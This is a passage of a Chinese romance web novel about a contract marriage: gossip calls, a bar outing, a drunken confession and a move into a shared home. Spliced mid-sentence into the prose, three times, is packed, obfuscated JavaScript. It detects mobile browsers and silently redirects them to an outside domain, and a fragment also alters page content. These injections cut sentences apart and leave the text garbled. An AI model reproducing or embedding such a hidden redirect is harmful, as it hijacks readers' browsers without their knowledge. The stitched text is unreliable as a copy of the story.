“都说了些什么了。”孟思栀刻意拖长尾音,“说那颗粉钻有多大多闪,说争风吃醋的场面有多震撼,说一晚上又是跳舞又是抱的,浓情蜜意到黏到一起,舍不得分开一秒。” “那当然了,说得最多也最好奇的,就是那句一见钟情的告白了。” “不过要我说啊,就你家那位能一见钟情的概率,不亚于彗星撞地球,别人信不信再说,我第一个不信。” “都是人精,信不信有什么重要的?”冯意柠说,“重要的是结果,不是么?” 孟思栀说:“结果就是你们两家这桩联姻算是在外人眼里彻底坐实了,还附赠给你一颗11.7克拉的无暇艳彩粉钻,别的不说,你老公大方是挺大方的。” 冯意柠说:“是挺大方的。”花四亿拍下一颗粉钻,眼都不眨一下。 孟思栀又问:“你老公呢?” 冯意柠说:“去洗澡了。” 那头沉默了一两秒后,孟思栀意味深长地开口:“噫。” 其实冯意柠说完就后悔了,一时忘记对面是只实打实的青芒了,瞧着外表青涩,切开来是黄的。这会听她说了句话,八成都不知道想歪到哪里去了。 果然下一秒,孟思栀就八卦起来:“孤男寡女,深夜共处一室,窗外是维港夜色,多浪漫,多旖.旎,多适合——” 冯意柠打断她的吟唱:“适合交流。” “适合哪种交流?”孟思栀说,“你不要带坏人家纯洁的爱情观,好不啦?” 这话轮到谁说,都轮不到这个只是表面矜持、内心全是虎狼之词的小青芒说。 冯意柠说:“谈生意的那种交流。” “就小正经会这么说。”孟思栀说,“我跟你说,性.生活是否和谐是婚后很重要的一件事,不行的男人要不得!反正你都领证了,趁着还没办婚礼,干脆先试货,那脸那身材简直是直女天菜,睡一晚不吃亏。” 冯意柠捂紧手机,又调低两格音量,生怕这虎狼之词回荡在整间客厅里,所幸没有被那人听到,不然她这脸往哪放。 “主美大人,策划案细节看了吗?” “我发给你主笔的几个人选,看了吗?” “下周出差谈的项目书,看了吗?” “亲爱哒,你比资本家还资本家。”孟思栀听得有些抓狂,“还有,我是工作室主美,不是你的助理。” 冯意柠学着她的语气说:“亲爱哒,毕竟是特殊时期,能者多劳。” “就知道哄我,就是想让我为你做牛做马呗。”孟思栀说,“不过孟小姐就这么心软,很轻易就被你哄好了,现在就去为咱们工作室打工了,不当十万伏特的电灯泡,不打扰你们深夜卿卿我我了。” “对了,我给你发一个契合度链接,记得跟老公一起测下。” 挂完电话,冯意柠大致扫了眼消息,头还有些大,忍不住有些奇怪,到这会,小嫂嫂竟然没打来电话,就连一条消息都没有发来,毕竟以她向来的社交手段,不可能没听到风声。 余光扫到茶几上的粉钻戒指,手指很轻地拨了拨。 美则美矣,真是个烫手山芋。 还在想着,冯意柠接到一通意想不到的电话,开始听起任瑛汇报起下星期的会议安排,由于助理太过敬业认真,所以她也就满足员工大半夜还要汇报工作的反常行为。 汇报完,任瑛一时没有挂断电话,而是犹犹豫豫地叫了声:“老大。” 冯意柠有种又来了的“果然”感,想着自家助理都这么努力了,于是很配合地问:“怎么了?” 任瑛在工作和八卦之间,还是按耐不住狂涌的好奇:“一见钟情的事,到底是不是真的?” 客厅里很静,显得脚步声和电话那头的人声很清晰。 冯意柠抬眸,男人披着白色浴袍,浓黑发尖裹着几分潮湿水汽,领口稍稍松垮,喉结和锁骨冷白分明。 对视间,冯意柠微弯眼眸:“这就要去问说一见钟情的人了。” 裴时叙薄唇微启:“问什么?” 冯意柠也没想到男人会出声,那头的小助理也吓了一跳,连忙说:“老大!真不好意思,打扰你和裴总了!会议安排我等会发你邮箱,记得查收。” 冯意柠还没来得及解释上一句,电话就挂断了,察觉到男人落在脸上的目光,佯装镇定地说:“你突然说话,她误会了。” 裴时叙说:“误会什么?” 误会到打扰他们……冯意柠不是很想顺着这个旖.旎的话题聊下去,只是说:“误会我们交流。” 偏偏男人又问:“交流什么?” 还能交流什么?冯意柠刚想脱口一句“当然是谈生意之类的交流”,突然回过神,这人怎么可能突然这么有耐心地发问。 多半是恶劣性子作祟。 冯意柠突然有些不想如男人的意,微弯眼眸:“某种变速循环运动。” 裴时叙懒撩眼眸,俯身间,大片的阴影笼罩下来,几分意味不明的眸光,直直落在她的脸上,如有实质般地逡巡。 清冽的雪松气息迫近鼻尖,冯意柠目光落在近在眼前的凸起喉结,蛰伏在薄薄一层冷白皮肤下,无端的禁欲性感。 她被看得有些没底,轻声问:“我需要确认一下。” 裴时叙问:“什么?” 冯意柠抬眼,尽量维持声线稳定:“你说的那种合作关系,不包括陪睡吧?” 裴时叙唇角极淡地微扯:“我也需要确定一件事。” 这回换冯意柠问:“什么?” 裴时叙说:“裴太太,是想假戏真做?” “……” 冯意柠觉得如果她说“有”,多半要被打包扔出套房,这男人是真能干出来这事儿。 “当然没有。”纤细手指轻抵男人胸膛,冯意柠稍稍往后仰了仰,“虽然我们是领证的关系,可私下相处,还是要保持一点礼貌的距离。” 裴时叙淡瞥过微微发红的耳尖,施施然起身。 不过是个色厉内荏的小姑娘,反应完全没有嘴上大胆。 那股恼人的氛围总算退离,冯意柠无端觉得有些热。 总感觉好像被老男人调戏了。这会她完全忘记是她先起的不正经话头。 仅有两个人的客厅,显得过于空旷,冯意柠稍稍理了下现在的情况:“裴总,由于您今晚心血来潮的影帝级别表演,不出明天,整个临北都会知道您一见钟情的伟大事迹。” 裴时叙口吻淡淡:“所以?” “所以。”冯意柠看了眼时间,“现在是十点四十七,大概花十分钟,避免遇到人一问三不知,简要说一下彼此的爱好和生活习惯吧。” “那我先说。” 冯意柠是公认的好相与的性子,可在生活方面还是有几分大小姐的脾性,也不想在婚后亏待自己,例如讨厌别人打乱自己的计划,例如起居方面有几家偏好的牌子,例如很在意各种毛绒绒的舒适程度,例如餐桌上绝对不能出现的食物和配料,例如日常的过敏源和忌口…… 从前孟思栀就有打趣过她,要是将这些要求打印成册寄给未婚夫,完全可以不战而屈人之兵,喜提自由身套餐。 既然要同居,冯意柠也不打算避着,全盘托出,只是说着说着,有些怀疑这人有没有在听:“裴同学,你以前的老师们,会不会说你是最难教的那个?” 裴时叙懒掀眼眸:“做笔记,你就感觉不挫败了么?” 冯意柠说:“我只是怕你记不清楚。” 裴时叙说:“犯不着。” 冯意柠问:“你都记住了?” 然后听这人准确复述了一遍,合理让人怀疑他的大脑里是不是刻了打印机。 明明是自己说的各种喜好习惯,冯意柠反倒听着复述,轻轻打了个哈欠。 察觉到男人想起身,冯意柠问:“你不打算说说吗?” 裴时叙说:“既是一见钟情,该是我上赶着了解。” 冯意柠:“……” 换言之,他的爱好习惯并不重要。她觉得这话相当的有道理。 裴时叙说:“还有什么事么。” 冯意柠秉持着来都来了的原则:“有个契合度测试,测完再走?” 五分钟后,冯意柠定定看着手机里发来的生成报告。 谁让这个契合度测试,有个很邪门的设计,测完竟然是生成对方的报告,设计的人简直是个鬼才。 目光往下。 这一行的意思很好懂:不喜欢闹的。 再往下,这行的意思也很好懂:比起闹的,更不喜欢安静无趣的。 冯意柠有瞬幻视五彩斑斓的黑,以及阴晴不定的甲方。 看来不是活泼或是安静的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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商窈杳暗自在心中取笑,看来她这个便宜哥哥,白当了这么久的正宫,py身份还没转正,太没用。 这两人说话间,冯意柠肩膀被轻轻撞了撞,很快孟思栀凑到耳畔:“我看两位姐姐嘴上说着老公不管,这会都心神不宁了。” 冯意柠很轻地摇了摇头,压低嗓音叮嘱道:“在外我小嫂嫂最大。” 孟思栀比了个OK的手势,也低声:“知道知道,天大地大,都听你大哥的,你家小嫂嫂的面子最重要。” …… 景越集团专用电梯到达一楼,两道高大身影前后走出。 走在前头的男人,接着电话。 那头传来苦口婆心的劝斥:“主动点,光送点破石头有什么用?” “还有你弟弟,净学了一堆破毛病,相亲局里公认的刺头,姑娘温柔,他说会早晚被他气跑,姑娘活泼,他说喜静,八成过不着一起去。” “天仙都入不了他的眼,也不瞧瞧,天仙能看上他什么?” 裴老爷子气起来,很一视同仁,哪个都逃不脱,裴时叙向来有一套应对说辞。 而被无辜波及的裴淮景,甚至没什么情绪波动。 等挂完电话,两人走到大堂外。 裴淮景没瞧见车,他本就是临时停靠,冷嗤了声:“老爷子气归气,绑架我的车算什么事儿。” 转眸,看到自家大哥眉头微蹙,视线再往下——昏暗光线下舞池躁动,坐在酒吧卡座的姑娘,身旁站着个深V丝绸西装的骚包男人,交谈间状似亲昵。 很巧妙、也很歹毒的错位构图,偷拍照其一主角正是他那位向来温婉的大嫂。 裴淮景淡觑了眼:“看来你们这门婚事,虎视眈眈的人不在少数。” 手机屏幕被摁灭,裴时叙唇角微掀:“这般费心,倒不妨随他们的意。” 裴淮景问:“这会叫李叔来接?” “不必。”裴时叙说,“正好在路边。” 裴淮景:“……” 三分钟后,裴淮景面前停了辆车,真稀罕,这年头他在路边随手招的都是宾利,临北城真是深藏不露。 地处这片繁华CBD,进出都不是常人,这两位瞧着就是有专车接送的主儿,没道理杵路边招车。两人刚在车后座坐下,大爷便问:“这是赶时间?” 裴时叙懒撩眼眸:“大爷劳驾,有男狐狸精勾..引我老婆,赶去拦着些。” 大爷闻言踩下油门加速。 嚯,这气度,被抢着戴绿帽子都这么从容不迫的。 9. 细肩带 酒吧卡座的角落里,离躁动舞池有段距离,半空中浮着一层迷离光雾。 冯意柠旁边围满着姑娘,从港城传回来的消息,早就在整个临北传了个尽遍。 凡是八卦,就没有人能免俗,这会借着私下的局氛围正好,七嘴八舌地探听。 “怎么就突然去港城约会了?” 冯意柠轻声说:“是阿叙突然的想法,我也有些措手不及。” “什么时候办婚礼?” “这要回头跟阿叙商量一下。” “那颗粉钻我看了,很大很闪,没想到裴总第一次送定情礼物,就这么大手笔。” “阿叙没提,粉钻送到眼前,我才知道他拍下了。” “那一见钟情,到底是不是真的?” “阿叙……”冯意柠微弯眼眸,适时露出几分青涩甜蜜的笑容,“他多半是乱说,哄人开心的话而已。” 众人心思各异,借着玩笑话打趣,只是瞧着听着心下也半信半疑,远在港城高调秀恩爱,眼下私底下却极其低调。 可无论感情是真是假,此举无疑是为裴冯两家联姻所行。 冯意柠不经意打翻一杯酒,借着洗手的理由,总算逃离那个八卦不止的云雀堆,转眼看到孟思栀发给自己的消息。 【目标已锁定,快来!】 冯意柠照着描述找到卡座上的孟思栀,此时她正揽着个年轻姑娘一起边欣赏蓬勃的肉.体,一边兴致很高地喝酒。 两人一杯接一杯的,聊得正火热,简直酒逢知己。 只是冯意柠刚走近,孟思栀脑后长了眼睛似,突然回头,在面前打了个响指:“怎么现在才来?来,给你点的酒。” “路上碰到个不熟的人。”冯意柠喝了几口孟思栀推给她的酒,“耽误了点时间。” 孟思栀没多在意,一把揽住了她的肩膀,热情介绍起来:“桑熙,你的头号主笔中意人选,桑桑,咱们工作室的小冯总,反正你们认识,我就不多介绍了!” 桑熙挪坐近了小半步:“柠柠,我如果入职后,微博还能更新吗?” 其实在冯意柠的几个主笔选择里,桑熙是资历最浅的,也是最年轻的,可创作理念同样也是最大胆、最跟IP理念匹配的,与她想建立一组崭新的、紧跟时代、生机蓬勃的项目团队相符。 “当然可以。”冯意柠看这两人只是闹得动静大,说话都还挺利索的,还算清醒,心下这才放心几分,“只要不影响工作,这是你的自由。” “好。”桑熙点了点头,“稍等,我先回个电话。” 桑熙垂眸拨通电话,很快那头就接了,传来一个女人的声音:“怎么这么吵呀?我发你的消息看了没,上头对这次的概念很不满意,今天的会议记录有没有仔细看?重新提交一份报告给我。亲爱的,说了一万遍,现在市场要狗血要有冲突要大开大合,这次系列图都打回去重做……” 桑熙说:“我有必要提醒你一下,现在是下班时间,你说的这些我都不会做的,而且我要告诉你,别没事PUA我,就你那超绝的庸俗理念,要是换你进公司晚几年,就是我手下再缺人都不会捡的。” “你疯了?认真的?哦,亲爱的,你知道现在是在跟谁说话吗?” “对,你说得很对,我无比地赞同,发自内心地认可。”桑熙乖巧地点头,开始已读乱答模式,“我跟你说,今天不是你裁我,而是我炒了你!好了,就这样,再也不见!” 说完,桑熙重重摁了下通话键,站起身欢呼:“啊啊啊我做到了!天知道我到底忍了这家狗公司多久!” 孟思栀跟她拥抱:“干得漂亮!桑桑你简直太棒了!” 两个小醉鬼,冯意柠无奈地轻牵了下唇角,一手扶着一个,温声提醒道:“你们小心点,别摔倒了。” 桑熙刚刚一时激动,脑袋晃得有些晕,被冯意柠和孟思栀一起扶着坐了下来。 缓了好一会神,桑熙定定看着眼前的酒杯,醉醺醺的:“哎,我的酒怎么空啦?” 孟思栀下意识跟着问:“你的酒呢?” 冯意柠看去:“不好意思,被我喝了。” 孟思栀也跟着看去,突然一拍脑袋,记起来了:“好像是被我推过去的,哎,我怎么犯了这种低级错误?” 到了这会,冯意柠觉得很有必要收回认为这俩姑娘还算清醒的判断,还没开口,就听到孟思栀开口:“这怪我,我问她能不能喝酒,她说很能喝,没想到几杯倒啊。” “我打个电话给司机,先送她回家。” “你还好吗?”冯意柠有些不放心,“我跟你一起去。” 孟思栀说:“不用,你家小嫂嫂不是还在这里吗?” 冯意柠还想开口。 又听到孟思栀说:“拜托,毕业旅行那次,是谁把喝醉的某柠背回酒店的?请相信你孟小姐的酒量,OK?” 冯意柠想来也是,仔细瞧了瞧她的脸色,挺亢奋,喝醉应该是没怎么醉的。 “那你到了跟我打个电话。” 此时酒吧门口,汤庄达扯松领口,想起刚刚不久前的事还在不爽。 酒吧昏暗光线下,那位冯三小姐眼眸微弯着,笑容清浅,是很好相与、也很容易拿捏的那类乖乖女。 跟那位向来眼高于顶的裴家太子爷,性子算得上南辕北辙,怎么看不算是相配。 他看呆的几秒间,越看越心痒,心思蠢蠢欲动,想趁机问个号码,说几句话哄人,最好是能哄得这位三小姐彻底移了心思。 谁知道这姑娘架子大得很,正眼都不看一下,只留下句温柔却冷淡的回答,说是没兴趣包.养。 敢情是把他当成往上贴的男模了? …… 裴淮景不经意看到熟悉的身影,从另一头直直走过,脸臭着,不知道被谁招惹了。 “汤庄达也来了?怕不是想来砸你那位三小姐的场子。” 裴时叙唇角微扯:“他不是对手。” 裴淮景没多说,转眼看到另一道熟悉的高大身影:“今儿可够热闹,俞礼哥也有闲心来玩么?” “来接太太回家。”冯俞礼说,“看来是顺路,不妨一起进去。” - 酒吧内,商窈杳从盥洗池里走出来,划起手机屏幕,给自家出差的老公发消息。 【老公,晚安,等你回家】 “杳杳。” 身后传来低沉熟悉的嗓音,商窈杳一瞬还以为幻听了。 修长手指从身后伸来,不急不缓地取走她手里的手机。 那条刚发出去的消息近在眼前,低沉醇酒般的嗓音随之响起。 “晚安?” 惨了。商窈杳当即扶住脑袋,纤细手指穿过乌黑波浪长卷发,佯装身形不稳,晕乎乎地栽进身后男人的胸膛。 “老公,我突然好晕。” 随着耳畔落下声低笑,商窈杳被拦腰抱起,双手柔柔地勾着男人脖颈,蹭在怀里嘟囔撒娇着“老公你不爱我了”,“我们都见到几分钟了,你都没有说句想我”。 “带你回家。” 眼见着蒙混过关,商窈杳也不作了,手指轻点了点男人的肩膀,小声提醒:“小妹还在。” 冯俞礼说:“放心,有人来接。” 不远处,冯意柠眼睁睁看完自家小嫂嫂被逮走的全程。 身后突然传来幽幽两道嗓音。 “你家小嫂嫂今晚怕是天雷勾地火。 “有得受了。” 冯意柠险些被吓出心脏病,回头,看到孟思栀和桑熙互搂着,还朝着不远处打量张望,显然是极其八卦的模样。 指了指:“你不是送她回去吗?” 孟思栀说:“她掉东西了。” 冯意柠跟着她们一起去找。 过了会,孟思栀俯身半天,从酒吧卡座缝里扣出来一个钻石耳环:“是这个吗?” 桑熙乖乖点了点头。 孟思栀说:“好,那我们走了。” 等这两人走后,冯意柠就坐在酒吧卡座角落里,垂眸给司机发消息。 发完后,反正是闲着无事,看起手机里项目策划案文件。 …… 酒吧舞池躁动了一整夜,几人靠在墙边半场休息,察觉到有人走近,张口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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昏淡灯光下掌背青筋脉络明显,很有力量感。 冯意柠多看了两眼,稍稍凝眸,视线随着往上。 男人深眸薄唇,薄幸冷情那挂的顶级长相,身上黑色衬衫的纽扣,随意解了两颗,衣袖半挽起,露出截线条劲实的冷白小臂。 “不过。”冯意柠顿了顿,“都没有你顶级,脸和身材没你天菜,性子更没有你带劲。” 沉默中,裴时叙沉沉瞥着这姑娘:“你喝醉了。” “没喝醉。” 冯意柠为证明自己没醉,还起身,倾身凑近,轻声细语地问:“你仔细闻闻,是不是没有酒味儿?” 一时醉意上涌,眼前身形晃了晃,跌坐到男人腿上。 鼻尖磕到他的肩膀,发出一声闷哼,小动物似地蜷着不动了。 有力手臂揽着后腰,紧贴着一片柔.软触感,裴时叙眉头微蹙,随意搭在扶手处的掌背青筋凸起。 这时怀里突然发出轻柔的嗓音:“我觉得给你发那种照片的人,心思坏,还不厚道,想借机破坏我们的友好和睦的合作关系,要坚定地反击一下这种阴招。” 醉鬼是没有逻辑的,显然此时冯意柠并不这样自认为,抬头,罩在杏色长裙外微薄一层开衫,松松歪了点,露出右肩细细的肩带。 她的口吻跃跃欲试、又认真地问:“一上来就热吻,会不会弄太刺激?” 裴时叙:“……” 冯意柠一时没听到回答,又凑近了点,昏暗迷离的光雾下,微翘睫毛被染成透明色,唇瓣很红,泛着一层盈润的水光。 嘴唇翕动间,鸡尾酒的淡淡香气,蛊着人微醺。 裴时叙抬起冷白掌背,覆住这双勾人不自知的眼眸,喉结微滚。 掌心被眼睫很轻地刮过,挠人的痒。 冯意柠很轻声地嘟囔:“为什么要挡我眼睛啊?” 裴时叙说:“很吵。” “……” 10. 黑历史 这是在说她吵吗?冯意柠缓缓眨了下眼眸,伸手拉开覆在眼前的手掌,比她要大上一圈,温度也高,很有礼貌地询问:“我哪吵了?” 裴时叙低声问:“哪不吵?” 显然是无意义的讨论,冯意柠说:“我在认真想办法。” 裴时叙评价:“主意很糟糕。” 这句话有两个意思,一是觉得跟她热吻这个办法很糟糕,二是觉得跟她热吻的这个过程很糟糕。 感觉深深被嫌弃的冯意柠:“……” “你是不是不敢亲我?” 很拙劣的激将法,裴时叙说:“这不是怕你醒来撞豆腐么。” 醉意醺然下,冯意柠思路钝钝的:“什么豆腐?” “你是饿了吗?要我给你点杯酒吗?” 裴时叙伸手按住这姑娘的一侧肩膀,将开衫扯回了原位,遮住半露的肩头。 冯意柠轻声说:“谢谢你啊,虽然我觉得有点热。” 说完,循着男人的视线,看到交握在一处的手指上,这才意识到她竟然一直抓着他的手,又想起被这人深深嫌弃的事情,不满地丢开。 冯意柠定定看了男人一会,思索了好几秒,认真评价道:“你有点讨厌。” 手指轻拍了拍纤薄后背,很随意散漫的一个动作,裴时叙稍稍后仰,口吻几分意味不明:“冯三小姐,请问,你还想在你讨厌的男人身上坐多久?” “小气。”冯意柠脸颊微热,“要不是你身材好,坐得舒服,我还不愿意坐呢。” 裴时叙垂眸,点了下手机。 冯意柠低头看了眼,很警惕地问:“你为什么点开录音?” “你不是要指控我?”裴时叙说,“帮你保留证据。” 冯意柠觉得这话很有道理,柔声柔气、又相当有礼貌地支使。 “那你拿近点。” “我再说一遍,录清楚。” “你明天不许赖账。” …… 清晨,冯意柠醒来,伸手关掉了床头柜上喋喋不休的闹钟。 思绪还没有回笼,脑袋有些昏沉的疼,一时只记得睡了一场很久很重的觉。 冯意柠再次惊醒的时候,第一时间拿起手机,看了眼时间,已经快十一点了,还好是周末。 她刚刚梦到自己成了裴时叙的员工,一直考勤打卡不成功,旁边裴时叙还沉着一张脸,冷淡地重复“重来”,不然就要扣她半年的工资,眼看着上班时间要到了,她的冷汗都要滴下来了。 就在这时——她被吓醒了。 没想到一醒来,冯意柠还真的看到裴时叙给她发来的文件消息,昨晚十一点,还是音频,担心是工作上有什么事。 冯意柠点开后,微微拖长语调的女声,毫无防备地传出来。 ——“那你拿近点。” “我再说一遍,录清楚。” “你明天不许赖账。” 冯意柠微微皱眉,进而狐疑、不解,这是她的声音吗? 很快。 ——“裴时叙,你嫌弃我的主意糟糕,不敢跟我亲就算了……” 听到“亲”的时候,冯意柠像是触发了关键词,昨晚一些记忆像是碎片般,一股脑涌进脑海里。 举着的手机砸了下来,堪堪擦过脸,冯意柠下意识发出一惊呼的“啊”。 然后滚落地板的手机,发出一阵很重的钝响声。 冯意柠瞬间醒了。 可地板上的录音还在继续。 ——“而且你很小气,说话赶我,要不是你身材好,坐得舒服,我是不愿意坐的。不过鉴于你给我整理外套,加一分印象分,但由于我其实很热,所以给你倒扣两分。” “裴时叙,你有没有异议?” 被迫听完全程的冯意柠,也不愿顾及手机这个“逆子”了,稍稍翻了个身,跟自己的超大号大熊玩偶来了个亲密无间的拥抱。 睡得微乱的乌黑发丝,很自然地滑落肩头,只露出一只通红的耳尖。 如果能选择一个死法,她宁愿被玩偶活活闷死,也不希望在便宜老公面前社死。 她到底是怎么能说出这些羞耻的话的? 只是一昧低落、自暴自弃,并不符合她的人生信条,做了好一会心理建设,冯意柠浏览了下各项目的情况,心想她现在应该准备出发去外地出差,最好是一年半载。 只是才刚开始看,满腹饿意席卷了她。 别无他法,冯意柠只能起身洗漱,决定先填饱肚子再说。 从楼梯下来,到了一楼餐厅,冯意柠看到正在笑着交谈的家人。 此时明媚春光正好,落地窗面前撒满灿色阳光,庭院里的花木散发馥郁清香。 李姨是冯家老宅的老人,从小看他们长大,冯亦清陪着她插花,垂丝海棠落进釉白玉壶春瓶,流连一抹粉白色春意。 商窈杳坐在藤椅秋千上,一手懒懒托着腮,晒着太阳,一边用逗猫棒陪漂亮的波斯猫玩闹孟思栀。 李姨看到来人,想动身,冯意柠朝她很轻地摇摇头,自觉走去厨房,取了保温的清粥和茶点,牛百叶、虾饺和黄金糕。母亲齐馥仪从小在广府长大,十五岁才接回临北,所以家中早餐一直是粤式口味。 冯意柠坐在餐桌默默吃起早餐,难得有几分出神,吃了会,她发现时不时朝她探来的目光。 抬眼,正对上商窈杳看过来:“柠柠,你还有昨晚的记忆吗?” 冯意柠手指微顿,心想该来的还是躲不过,她记得昨晚是裴时叙送回来的,最后的记忆停在被装进车后座睡着前。 冯意柠觉得事情再怎么糟糕,也不可能比那些录音还糟糕了,佯装镇定地问:“我怎么了?” “我不说。”商窈杳却买起关子,“你让你二姐说。” 冯亦清正在裁剪花枝,清浅阳光打了她半身,衬得侧脸柔和,善解人意地说:“我觉得你可能不太想知道。” 本来直接说了,冯意柠反而会觉得没什么,可这样迷雾弹一晃,那想象的空间可就大了:她是把裴时叙劈头盖脸骂了一顿,还是很没有礼貌地吐了他一身? 越想越不妙,冯意柠感觉最爱的虾饺都变得索然无味。 反倒是李姨满面笑容:“也没什么。” 冯意柠还没来得及缓口气,就听到一个对她来说极其恐怖的消息—— “就是一直抱着阿叙,像只八爪鱼一样紧紧缠着,怎么都不愿意撒手。” “甜蜜得很呀!” 冯意柠:“……” 现在后悔问,还来得及吗? 旁边商窈杳和冯亦清在捂嘴偷笑,一副看热闹不嫌事大的神情。 冯意柠花了足足十几秒钟,很绝望地牵动唇角,试图保持最后一丝镇定:“阿叙……他有说什么吗?” 李姨说:“说了。” 其实刚问完,冯意柠再次后悔了,生怕又是什么她难以承受的事情。 “说是今天搬家,叫三小姐要出发了,拨通电话过去。” 还好,冯意柠放下心来,自觉端起碗筷朝厨房走去。 “知道了,那我晚些给他打电话。” 商窈杳看着背影,红唇弯起:“瞧瞧,这是落荒而逃了。” 冯亦清还是护妹妹的:“小嫂嫂,这事我们就当忘记。” 还没来得及走远的冯意柠,全程听完大声密谋,脸颊微热,装作什么都没听到。 晚些时候,冯意柠回房间收拾行李,其实她之前已经整理得差不多了。 床边的手机开着外放,孟思栀的声音传了出来:“昨晚早知道我就不该先走的,谁知道我前脚走,你们后脚就这么精彩的。某柠啊某柠,没想到你人前看着是个小正经,人后昏暗酒吧角落,坐男人腿上激.吻,昨晚不下于十几个目击证人向我来打听这事儿。” 坐男人腿上激.吻……哪里来的谣言,当事人秒打假:“没亲。” 孟思栀有意拖长尾音:“哦,那坐男人腿上是真的咯。” 冯意柠一大早得知太多苍白的事实,已经有种淡淡的认命感:“坐了。” 孟思栀顿时来了劲:“采访一下这位当事人,请问你是怀着怎样钢铁的意志,毅然决然地坐上这位的大腿的?” 冯意柠说:“这要从某栀推错给我一杯鸡尾酒说起。” “哦,那杯酒。” 孟思栀反应过来,其实冯意柠的酒量不是一杯倒,昨晚她以为桑熙很能喝酒,两个人臭味相投,一起调了杯混酒炸弹。 没想到让自家发小中招了,她有些心虚地干笑:“那可真是一失足成千古恨。” 确实是失足,冯意柠感觉这辈子的脸都在裴时叙面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15391694|168549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丢尽了,偏骗今天搬家见面,有些自暴自弃地说:“我还说他脸和身材很顶级,性子比男模带劲多了。” 孟思栀发出不留情的爆笑:“你……真的好绝哈哈哈……你不是喝了酒……你简直是胆大包天哈哈哈都敢调戏你那位老公了!” 冯意柠心如死灰:“我还说他身材好,坐得很舒服,不然还不乐意坐。” 孟思栀无不赞同地说:“你的思想很有觉悟。” “建议睡睡,验验货色。” 冯意柠:“……” “你需要清清脑子里的废料。” 孟思栀打趣她:“你也需要清清脑子,将这些彻底记忆彻底删除,不然只能换个星球生活了。” 冯意柠忧郁地轻叹了口气。 午后,冯意柠拨了通电话,是裴时叙请来负责她搬家的团队,一个小时后,她被接到新房。 卓姨主要负责她的起居,看到搬家团队大箱小箱地搬进来,很快堆满了整间客房。 “太太,我帮你一起吧。” 冯意柠轻笑了笑:“不用,多谢了,还是我自己来吧。” 卓姨知道这种家庭出身的人,多半有自己的脾气,不是很情愿旁人动自己的东西,便没有多说。 就这么一小会相处,卓姨忍不住多打量了几眼眼前的姑娘,没有半点大小姐架子,说起话来让人如沐春风,忍不住感叹:“太太这么温柔漂亮,裴总真是好福气。” “我平日受他照顾多些。”冯意柠时刻演技上线,笑了笑,“阿叙呢?” 卓姨说:“裴总说是要晚点到。” 冯意柠说:“那好,我先收拾行李。” “太太慢慢收拾,有事叫我。” 卓姨走的时候,还贴心地给她关上门。 整间客卧都被仔细打扫过,亮堂宽敞,光照很好,冯意柠将纸箱一个个拆封,里面几乎都是她珍藏的玩偶们。 她是个不折不扣的玩偶控,很喜欢那种毛绒绒的触感,睡觉总是要抱着睡,还被孟思栀打趣她是柠皇选妃,每晚临睡前要翻牌子临幸。 等冯意柠大致收拾完,到客厅里倒了杯温水喝,正碰上裴时叙回来,大概半小时前卓姨出门,这会只剩下他们两人。 冯意柠来之前,比对了下他们的行程,接下来,不是她出差,就是他出差。 “婚礼前有三天新人不能见面的婚俗,我想了想,还是先在家里住一段日子。” 裴时叙说:“请便。” 冯意柠问:“分房睡吗?” 有些话得先说清楚。 裴时叙说:“家里有单独两间客房,加班晚归住,不适应前可以暂时分房。” 那就是早晚要同睡,客房这样的安排,也不会打扰到彼此的睡眠,冯意柠觉得还挺满意的。 裴时叙问:“你怎么想?” “既然决定做戏,那就做全套。”冯意柠说,“分房睡,首先就过不了裴爷爷这关。” 裴时叙不可置否。 “我见到卓姨了。”冯意柠说,“刚大致收拾了下客卧。” 裴时叙说:“没有你的允许,不会有人靠近你的房间。” 冯意柠应了声,又说:“那我先走了,晚上有个局。” 裴时叙说:“记得少喝些酒。” 一听到酒,冯意柠感觉头皮有些发麻,昨晚的回忆再次袭击了她,只能佯装镇定地说:“多谢关心。” “毕竟昨晚的热情,记忆犹新。” 冯意柠:“……”就知道这人见着面,不会有什么好话。 “您请放心,那只是失误,喝醉后的胡言乱语。” “最好不过。”裴时叙口吻淡淡,“我送你。” 冯意柠知道他是客套,故意微笑道:“好啊,多谢裴总。” 裴时叙迈开长腿。 冯意柠跟在身后,听到他说:“这段婚姻,我不希望有节外生枝的情况,首先是私下的称呼。” 冯意柠张唇:“你是希望我叫……” 裴先生,裴总,她私底下最常用的两个称呼,还有就是阿叙,在长辈亲友面前用的万金油。 “昨晚坐身上黏着要抱,不是很敢说?” 裴时叙稍稍侧眸,声质偏冷,眸光却颇为几分意味不明地落下。 “叫老公,还用我教你么。” 11. 解决难题 一听到昨晚,冯意柠脑海里涌现几抹羞耻的回忆,脸颊微微发热:“当然不用。” 又直视回去:“老公。” 这姑娘面上佯装镇定,耳尖却冒着一簇红,裴时叙迈开长腿:“半点不愿服输。” 冯意柠跟上去:“冯家的家训,凡事不能露怯,得让旁人先看出气势。” 裴时叙不可置否。 车一路驶到酒店楼下,冯意柠正好处理完工作消息,解开身上安全带,推开副驾驶座的车门。 车窗半摇下,传来低沉嗓音:“老婆。” 冯意柠站在车窗前,稍稍躬身:“?” 不知道为什么,听到他叫老婆,总觉得下一秒不会听到什么好话。 裴时叙说:“耳尖挺有气势。” 